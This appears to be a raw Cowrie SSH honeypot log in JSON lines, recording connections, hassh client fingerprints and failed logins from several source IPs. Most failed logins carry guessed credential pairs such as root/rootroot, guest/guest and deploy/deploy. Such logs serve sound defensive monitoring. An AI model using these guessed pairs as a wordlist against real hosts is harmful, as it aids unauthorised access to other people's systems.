{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:58.992217Z","src_ip":"165.154.137.186","session":"dc842d0ac34f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:21:59.761895Z","src_ip":"165.154.137.186","session":"dc842d0ac34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:01.019813Z","src_ip":"165.154.137.186","session":"dc842d0ac34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":42282,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dfc39319b4d","protocol":"ssh","message":"New connection: 101.47.159.125:42282 (159.203.135.109:22) [session: 2dfc39319b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:03.429010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:03.433637Z","src_ip":"101.47.159.125","session":"2dfc39319b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:03.678629Z","src_ip":"101.47.159.125","session":"2dfc39319b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"under","password":"under","message":"login attempt [under/under] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:04.693730Z","src_ip":"101.47.159.125","session":"2dfc39319b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25278,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d2d9829c170","protocol":"ssh","message":"New connection: 194.59.206.2:25278 (159.203.135.109:22) [session: 0d2d9829c170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:05.453055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:05.458650Z","src_ip":"194.59.206.2","session":"0d2d9829c170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:05.548715Z","src_ip":"194.59.206.2","session":"0d2d9829c170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:05.649173Z","src_ip":"194.59.206.2","session":"0d2d9829c170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:05.943534Z","src_ip":"101.47.159.125","session":"2dfc39319b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":36176,"dst_ip":"159.203.135.109","dst_port":22,"session":"052fca6ce0e1","protocol":"ssh","message":"New connection: 103.82.20.28:36176 (159.203.135.109:22) [session: 052fca6ce0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:07.986405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:07.992728Z","src_ip":"103.82.20.28","session":"052fca6ce0e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:08.264474Z","src_ip":"103.82.20.28","session":"052fca6ce0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01121984","message":"login attempt [root/01121984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:09.076545Z","src_ip":"103.82.20.28","session":"052fca6ce0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:10.350398Z","src_ip":"103.82.20.28","session":"052fca6ce0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.94897723197937,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:14.453226Z","src_ip":"172.81.62.90","session":"c0c2c55c4186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54236,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4b0c32120f","protocol":"ssh","message":"New connection: 165.154.137.186:54236 (10.17.0.5:22) [session: cf4b0c32120f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:15.408250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:15.412491Z","src_ip":"165.154.137.186","session":"cf4b0c32120f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:15.683609Z","src_ip":"165.154.137.186","session":"cf4b0c32120f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:16.499403Z","src_ip":"165.154.137.186","session":"cf4b0c32120f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:17.777921Z","src_ip":"165.154.137.186","session":"cf4b0c32120f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45622,"dst_ip":"10.17.0.5","dst_port":22,"session":"59fe0c1355c8","protocol":"ssh","message":"New connection: 165.154.137.186:45622 (10.17.0.5:22) [session: 59fe0c1355c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:23.448961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:23.453183Z","src_ip":"165.154.137.186","session":"59fe0c1355c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:23.707798Z","src_ip":"165.154.137.186","session":"59fe0c1355c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":39016,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e66b6e85a8a","protocol":"ssh","message":"New connection: 194.113.233.25:39016 (159.203.135.109:22) [session: 8e66b6e85a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:23.721713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:23.726530Z","src_ip":"194.113.233.25","session":"8e66b6e85a8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:23.847129Z","src_ip":"194.113.233.25","session":"8e66b6e85a8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250680","message":"login attempt [root/250680] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:24.275468Z","src_ip":"194.113.233.25","session":"8e66b6e85a8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:24.472573Z","src_ip":"165.154.137.186","session":"59fe0c1355c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:25.366670Z","src_ip":"194.113.233.25","session":"8e66b6e85a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:25.729339Z","src_ip":"165.154.137.186","session":"59fe0c1355c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36230,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a579f41e156","protocol":"ssh","message":"New connection: 165.154.137.186:36230 (10.17.0.5:22) [session: 2a579f41e156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:31.468320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:31.472578Z","src_ip":"165.154.137.186","session":"2a579f41e156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:31.770333Z","src_ip":"165.154.137.186","session":"2a579f41e156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:32.864665Z","src_ip":"165.154.137.186","session":"2a579f41e156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:34.126735Z","src_ip":"165.154.137.186","session":"2a579f41e156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58898,"dst_ip":"10.17.0.5","dst_port":22,"session":"d331854592fe","protocol":"ssh","message":"New connection: 165.154.137.186:58898 (10.17.0.5:22) [session: d331854592fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:50.472726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:22:50.477079Z","src_ip":"165.154.137.186","session":"d331854592fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":["